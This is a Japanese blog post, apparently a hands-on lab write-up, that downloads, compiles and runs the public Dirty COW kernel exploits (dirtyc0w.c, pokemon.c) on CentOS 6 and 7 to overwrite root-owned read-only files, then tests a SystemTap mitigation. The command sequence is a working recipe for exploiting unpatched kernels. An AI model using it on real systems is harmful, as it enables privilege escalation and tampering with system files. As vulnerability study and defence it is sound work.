DirtyCOW(CVE-2016-5195)のPoCを試してみたよっていう話

ちょっと書くのが遅くなってしまいました。
もう一日くらい早く公開できればよかったですね。

※優しいマサカリお待ちしております。
※色々と知らない部分や解らない点があるため、有識者の方から見ると「は?」というところがあるかもしれませんが、何卒ご了承ください。
※本脆弱性の悪用はしないでください。

# DirtyCOW(CVE-2016-5195)とは
2016年10月21日(辺り)に注意喚起された **Linux Kernel の脆弱性**です
内容は **Linuxカーネルのメモリサブシステム内におけるcopy-on-write（COW）の取り扱いで競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される** ものらしいです。
これが悪用されると **特権のないローカルユーザーが読み取り専用であるはずのメモリマッピング領域への書き込み権限を取得し、システム上で自らの権限を昇格させることが可能になる** とのこと。
更にタチが悪いのが、**SELinuxの影響を受けず** かつ **ログへの痕跡も残さない** というところでしょうか。
情報は色々あるので本脆弱性で検索してみると楽しいかもしれません。

公式サイト： https://dirtycow.ninja
JPCERT： http://jvn.jp/vu/JVNVU91983575/
RedHat Bugzilla： https://bugzilla.redhat.com/show_bug.cgi?id=1384344
SIOS OSS： https://oss.sios.com/security/kernel-security-20161021
Internet Watch： http://internet.watch.impress.co.jp/docs/news/1026318.html

とりあえずの理解としては、**一般ユーザでは書き込めないファイルにも、この脆弱性を利用することで書き込めるようになってしまう** ということでしょうか。

# 試そう! DirtyCOW (dirtyc0w.c)

どうせなら脆弱性がどんなものなのか確かめたいですよね。
ということで、詳しいことはよくわからないけどとりあえず試してみることに。

**検証に使用するOS**

|OS|Version|Kernel|
|---|---|---|
|CentOS|6.8|2.6.32-642.6.1.el6.x86_64|
|CentOS|7.2.1511|3.10.0-327.13.1.el7.x86_64|

アジャイル(株)さんに `dirtyc0w.c` の検証方法が書いてあったため、早速試してみることにしました。
https://www.agilegroup.co.jp/technote/dirty-cow.html

因みにPoCは結構たくさんあり、上記以外のPoCは以下にあります。
PoCリスト： https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

たくさんあるので、どれをやってもいいと思います。


## CentOS6 における dirtyc0w.c

### 1. ログインとディレクトリ作成+移動

まずは適当な一般ユーザでログインします。
本エントリではとりあえず `test` ユーザとしておきます。
ログインしたらホームディレクトリに適当な作業用ディレクトリを作り、移動します。

```shell-session
[test@CentOS6 ~]$ mkdir dirtyc0wd
[test@CentOS6 ~]$ cd dirtyc0wd
```

### 2. 検証用ファイルの作成と権限変更

ここに検証用のファイルを作成します。
作成するファイルは適当なテキストファイルです。ファイル名も内容も何でも良いのですが、ここではファイル名を `foo` とし、内容を `this is not a test` としています。
また、ファイル作成後、パーミッションにちょっとした細工をします。
パーミッションを変更し、**rootユーザ** と **その他のユーザが** 読み取れるようにします。
`r-----r--` とするような感じです。
数字であれば `404` ですね。
また、ファイルのオーナーとグループも **rootとします。**
普通に作ってしまうと単純に `test` が所有者になってしまいますからね。
では以下のコマンドを打ち込んでいきます。

```shell-session
[test@CentOS6 dirtyc0wd]$ sudo -s
[root@CentOS6 dirtyc0wd]# echo this is not a test > foo
[root@CentOS6 dirtyc0wd]# chmod 0404 foo
[root@CentOS6 dirtyc0wd]# exit
[test@CentOS6 dirtyc0wd]$ ls -lah foo
-r-----r--. 1 root root 19 10月 25 15:07 2016 foo
[test@CentOS6 dirtyc0wd]$ cat foo
this is not a test
```

ファイルのパーミッションとオーナー、グループを変更しました。
これでroot権限でない限りファイルへの書き込みはできないはずです。
脆弱性を使うと、このファイルの内容を書き換えることができます。

### 3. ソースコードのダウンロード

GitHubで公開されていのソースコードをダウンロードします。
今回はcurlで-Oオプションを指定して引っ張ってきます。

```shell-session
[test@CentOS6 dirtyc0wd]$ curl -O https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
```

### 4. ソースコードのコンパイル
ダウンロードしたソースコードはCなのでコンパイルします。
`gcc` がインストールされていない場合はyumで引っ張ってきてください。

```shell-session
[test@CentOS6 dirtyc0wd]$ gcc -lpthread dirtyc0w.c -o dirtyc0w
```

これで `dirtyc0w` という実行用バイナリが作成されました。

### 5. 実際に実行してみる(dirtyc0w.c)

それではこの `dirtyc0w` を実行してみます。
書式は以下のようになっています。

```bash
./dirtyc0w 書き換え対象のファイル 書き換える内容
```

今回の場合、「ファイル `foo` の内容を `m00000000000000000` に書き換える」といった感じです。
それでは実行。
完了までにはちょっと時間が掛かります。

```shell-session
[test@CentOS6 dirtyc0wd]$ ./dirtyc0w foo m00000000000000000
mmap 7f87280b4000

madvise 0

procselfmem -100000000
```

プロンプトが戻ってきたら実行完了です。

### 6. ファイル内容確認

ではファイルの内容を確認してみましょう。

```shell-session
[test@CentOS6 dirtyc0wd]$ cat foo
this is not a test
```

内容は一切変わっていません。
そうなんです。
CentOSの5,6系であれば、上記の `dirtyc0w` のPoCは動作しないらしいのです。
これはソースコードのコメント部分にもはっきり書いてあるのですが、本当に動作しないのか?という検証も兼ねて実施してみました。

では、CentOS7ではどうでしょう。
kernelのアップグレードを実施していないCentOS7で、 `dirtyc0w` を実行してみましょう。

## CentOS7 における dirtyc0w.c

実施することはCentOS6と同じなので、1～4をその通り実行してください。
一通り終えたらコマンドを実行してみましょう。

```shell-session
[test@CentOS7 dirtyc0wd]$ ./dirtyc0w foo m00000000000000000
mmap 7f827d706000

madvise 0

procselfmem 1800000000
```

ファイルの内容を確認してみます。

```shell-session
[test@CentOS7 dirtyc0wd]$ cat foo
m00000000000000000
```

見事に指定した文字列に変わっています。
脆弱性を悪用することにより、こういった形でファイルを書き換えることができてしまうようです。
こわい。


## パーミッションから「その他のユーザ」の読み取り権を消すとどうなるか

ファイル `foo` のパーミッションを見てもらうと分かる通りだが、そのファイルのオーナーであるrootユーザ以外に、 **その他のユーザ** も読み取れるようになっています。
試しにこの **その他のユーザ** の読み取り権限を消した状態でコマンドを実行してみましょう。

```shell-session
[test@CentOS7 dirtyc0wd]$ sudo chmod o-r foo
[test@CentOS7 dirtyc0wd]$ ls -lah foo
-r--------. 1 root root 19 10月 25 15:07 2016 foo
```

コマンドを実行し、ファイルの内容を確認してみます。

```shell-session
[test@CentOS7 dirtyc0wd]$ ./dirtyc0w foo this is not a test
mmap ffffffffffffffff

madvise -100000000

procselfmem -100000000

[test@CentOS7 dirtyc0wd]$ sudo cat foo
m00000000000000000
```

当たり前ですが変わっていません。
冒頭の脆弱性の説明でもありましたが、一般ユーザでも読み取れるファイルでないと内容の書き換えはできません。
しかしそれは裏を返せば **一般ユーザが読み取れるファイルであれば問答無用で書き換えることが可能である** ということになるかと。
Webコンテンツのファイルは勿論のこと、`/etc` 以下のファイルや、コマンドPATHのディレクトリ以下のファイルなんかも書き換えができてしまうはずです。
悪用されたらLinuxサーバは使い物にならなくなってしまいますね。
こわい。

# 試そう! DirtyCOW (pokemon.c)

さて、 dirtyc0w.c 以外にも、PoCリストからもう一つ選んで実行してみることにします。
使用するのは `pokemon.c` というソースコード。
これは "pokeball" というファイルをポケモンボールに見立て、ファイル内の文字列 "pikachu" を "miltank" に変えてしまうものです。
ユーモアに溢れていますね。
ロジックとかFamilyに違いはあると思うのですが、おおまかな動作は dirtyc0w.c と同じだと思います。

**検証に使用するOS(dirtyc0w.c の時と同じ)**

|OS|Version|Kernel|
|---|---|---|
|CentOS|6.8|2.6.32-642.6.1.el6.x86_64|
|CentOS|7.2.1511|3.10.0-327.13.1.el7.x86_64|

## CentOS6 における pokemon.c

### 1. ログインとディレクトリ作成+移動

またも適当な一般ユーザでログインし、作業用ディレクトリを作成し移動します。

```shell-session
[test@CentOS6 ~]$ mkdir pokemond
[test@CentOS6 ~]$ cd pokemond
```

あとは pokemon.c のソースコードにコメントとして書いてある通りにコマンドを実行していくだけです。
これも大まかな流れは dirtyc0w.c の時と同じですね。
一部元々のコメントから変更している部分もありますが、ファイルを作成して、権限を変更し、ソースコードをダウンロードしコンパイルする。といった流れになっています。

### 2. 検証用ファイルの作成と権限変更

ここでは `tee` コマンドを使っています。

```shell-session
[test@CentOS6 pokemond]$ echo pikachu|sudo tee pokeball
pikachu
[test@CentOS6 pokemond]# sudo chmod 0404 pokeball
[test@CentOS6 pokemond]$ ls -l pokeball
-r-----r--. 1 root root 8 10月 25 19:17 2016 pokeball
```

### 3. ソースコードのダウンロード

```shell-session
[test@CentOS6 pokemond]$ curl -O https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/pokemon.c
```

### 4. ソースコードのコンパイル

```shell-session
[test@CentOS6 pokemond]$ gcc -pthread pokemon.c -o d
```

### 5. 実際に実行してみる(pokemon.c)

一通り終わったらバイナリを実行します。
書式も dirtyc0w.c と同じですね。

```shell-session
[test@CentOS6 pokemond]$ ./d pokeball miltank
pokeball
   (___)
   (o o)_____/
    @@ `     \
     \ ____, /miltank
     //    //
    ^^    ^^
mmap b1baf000

madvise 0

ptrace 0
```

実行されました。
お尻から書き換える文字が出ているのがCuteです。

### 6. ファイル内容確認

ファイルの内容を確認してみましょう。

```shell-session
[test@CentOS6 pokemond]$ cat pokeball
miltank[test@CentOS6 pokemond]$
```

!!!

なんと、変わっています。
予め書き込んでおいた `pikachu` ではなく `miltank` の文字が出力されてしまっています。
`dirtyc0w.c` では変わらなかったCentOS6が、 `pokemon.c` では脆弱性を良いように使われてしまっています。
私はCは頭の部分を少しかじったことしかないのでソースコードが全然読めません。
そのため、何故 `dirtyc0w.c` ではできなかったのに `pokemon.c` でできてしまったのかよく分かっていません。
詳しい方がいらっしゃれば教えていただきたいです。


## CentOS7 における pokemon.c

CentOS7でも同じくpokemon.cを試してみます。
実施することはやはりCentOS6と同じなので、1～4をその通り実行した後、コマンドを実行してみましょう。

```shell-session
[test@CentOS7 pokemond]$ ./d pokeball miltank
pokeball
   (___)
   (o o)_____/
    @@ `     \
     \ ____, /miltank\n
     //    //
    ^^    ^^
mmap 7e43e000

madvise 0

ptrace 0
```

実行されました。
ファイルの内容を確認してみましょう。

```shell-session
[test@CentOS7 pokemond]$ cat pokeball
miltank[test@CentOS7 pokemond]$
```

はい。書き換わってしまっています。
`pokemon.c` の場合はCentOS6でも7でも脆弱性を使えてしまうようです。

# DirtyCOW対策

スタンダードなRHELの6,7系を使っている場合は既に対策済のパッケージが出ているはずですので、そちらにアップグレードしましょう。
https://access.redhat.com/security/vulnerabilities/2706661
本エントリ執筆時点(10月26日現在)では6,7系はパッケージが公開されています。
5系は、RedHatでは残念なことに "Pending(保留)" となっています。
もう少し経てば公開されるかもしれません。
また、パッチが出るまでの一時的な回避策がありますので、そちらを紹介しておきます。
これも[アジャイル(株)](https://www.agilegroup.co.jp/technote/dirty-cow.html)さんのところに書いてありました。
[RedHat Bugzilla](https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c13)にも書いてあります。
本エントリではアジャイル(株)さんに書いてあるものを少し変えてあります。

## 利用するツールと必要パッケージ郡

この回避策では、 `SystemTap` というツールを使います。
このツール内には `stap` というコマンドがあり、これはスクリプト言語として動作するようです。
紹介されている回避策では、この `stap` を用いて定義したスクリプトを読み込ませ、Linux kernelを一時的に制御しているっぽいです(という説明をしていますが、多分間違っていると思います。というかこの辺りの話は初見なこともあり全然わかりませんでした)。

まずはこの `SystemTap` パッケージと、関連する必要なパッケージがLinuxにインストールされていることを確認します。

- 実行しているカーネルの `kernel-devel`
- 実行しているカーネルの `kernel-debuginfo`
- 実行しているカーネルの `kernel-debuginfo-common`
- `gcc`
- `systemtap`

rpmかyumでインストールパッケージを確認してみましょう。
インストールされていないパッケージがあれば、インストールする必要があります。

### 1. ログインとディレクトリ作成+移動

またまた適当な一般ユーザでログインし、作業用ディレクトリを作成し移動します。

```shell-session
[test@CentOS6 ~]$ mkdir dirtycowstapd
[test@CentOS6 ~]$ cd dirtycowstapd
```

### 2. yumリポジトリの整備

`kernel-devel` , `gcc` , `systemtap` は標準リポジトリ内にありますが、 `kernel-debuginfo` , `kernel-debuginfo-common` は、存在していません。
そのため、まずはyumのリポジトリからインストールします。
※アジャイル(株)さんの検証ではrpmを引っ張ってきていましたが、yumで済ませたかったので本エントリではyumでのインストールに変えています。

```shell-session
[test@CentOS6 dirtycowstapd]$ sudo yum install yum-plugin-auto-update-debug-info.noarch
```

上記コマンドでリポジトリを追加すると、 `/etc/yum.repos.d/` の下に、 `CentOS-Debuginfo.repo` というファイルが作成されるはずです。

```shell-session
[test@CentOS6 dirtycowstapd]$ ls -la /etc/yum.repos.d/CentOS-Debuginfo.repo
-rw-r--r--. 1 root root 647  5月 19 04:47 2016 /etc/yum.repos.d/CentOS-Debuginfo.repo 
```

これがインストールしたリポジトリになります。
このリポジトリを利用すれば、`kernel-debuginfo` , `kernel-debuginfo-common` をインストールすることができます。

### 3. パッケージのインストール

では、`kernel-debuginfo` , `kernel-debuginfo-common` , `systemtap` をインストールしましょう。
CentOS-Debuginfo.repo は、通常無効化されているので、インストールする際は `--enablerepo` オプションでdebuginfoリポジトリ一時的に有効化してインストールします。

```shell-session
[test@CentOS6 dirtycowstapd]$ sudo yum install --enablerepo=base-debuginfo kernel-debuginfo-$(uname -r) kernel-debuginfo-common-$(uname -p)-$(uname -r) kernel-devel gcc systemtap
```

`kernel-debuginfo` と `kernel-debuginfo-common` でkernelのリリース番号を指定している理由は、CentOS6では指定しない場合末尾に「centos.plus」と付いたパッケージがインストールされてしまったためです。
最初はそれで試したのですが、どうにもSystemTapが動かなかったため、 `$(uname -r)` でリリース番号を指定したものを再インストールしました。
また、`kernel-debuginfo-common` ではパッケージ名にプロセッサ名が指定されていたため、 `$(uname -p)` を使っています。

### 4. スクリプトファイル作成

SystemTapで読み込ませるスクリプトファイルを作成します。

```shell-session
[test@CentOS6 dirtycowstapd]$ vi dcow.stp
```

内容は以下のようにします。

```bash:dcow.stp
probe kernel.function("mem_write").call ? {
        $count = 0
}

probe syscall.ptrace {  // includes compat ptrace as well
        $request = 0xfff
}

probe begin {
        printk(0, "CVE-2016-5195 mitigation loaded")
}


probe end {
        printk(0, "CVE-2016-5195 mitigation unloaded")
}
```

### 5. SystemTapの実行

ファイルを作成したら、SystemTapを実行します。
使うのは冒頭でも説明した通り `stap` というコマンドです。
`-g` オプションで先程作成したファイルを指定します。
この `-g` オプションですが、どうやらCの構文を組み込ませることが出来るようです。
Guru mode というらしいのですが、上級者向けオプションですかね。

因みにdebuginfo関連のパッケージが不足していると、以下のようなエラーが出力され動作しませんでした。

```shell-session
[test@CentOS6 dirtycowstapd]$ sudo stap -g dcow.stp
semantic error: while resolving probe point: identifier 'syscall' at dcow.stp:5:7
        source: probe syscall.ptrace {  // includes compat ptrace as well
                      ^

semantic error: no match

Pass 2: analysis failed.  [man error::pass2]
```

正常であれば以下のような出力がされます。

```shell-session
[test@CentOS6 dirtycowstapd]$ sudo stap -g dcow.stp

Message from syslogd@dcvm432 at Oct 26 12:35:58 ...
 kernel:CVE-2016-5195 mitigation loaded

```

実行するとフォアグラウンドで動作するようになります。
Ctrl+Cでは止まってしまうので、実際に使用する際はバックグラウンドで使用することになるかと思います。

さて、これでもう一度 pokemon.c を実行してみましょう。

### 6. 実際に実行してみる(pokemon.c)

対策を講じた上で再度実行してみましょう。

```shell-session
[test@CentOS6 dirtycowstapd]$ ./d pokeball Madatsubomi
pokeball
   (___)
   (o o)_____/
    @@ `     \
     \ ____, /Madatsubomi
     //    //
    ^^    ^^
mmap 5d1000

```

ここまでは出力されました。
しかし、ここから全く動きません。
とりあえず4時間近く放置してみましたが、一切進行がありませんでした。

一応 `dmesg` コマンドと `/var/log/messages` を確認してみましたが、そもそもこの脆弱性自体 **ログに痕跡を残さない** ものであるためか、 `CVE-2016-5195 mitigation loaded` 以外のログが出力されていませんでした。
これ以上放置しても仕方ないと考え、停止しました。
とりあえず大丈夫という理解でも良いかもしれません。

ただし上記は飽くまでも一時的な回避策に過ぎません。
アップデートパッケージのリリースが待たれますね。


# 所感

kernelの脆弱性ということで、公開されているPoCの実行を始めてみたら楽しくなってきて勢い余って本記事にまとめてしまいましたが、わからないことが多すぎますね。
ひとまず一般ユーザに読み取り権限があるファイルであれば恐らく軒並み書き換えが可能っぽい(?)ので、本当に注意してください。
外からの攻撃もですがもちろん内部犯にも。。。
あと、kernel作成に携わっている方、脆弱性を発見した方、PoCを作成した方、回避策を考えた方、対策済みパッケージを作成した方は、本当にすごいなあと思いました(小並感)。
以上。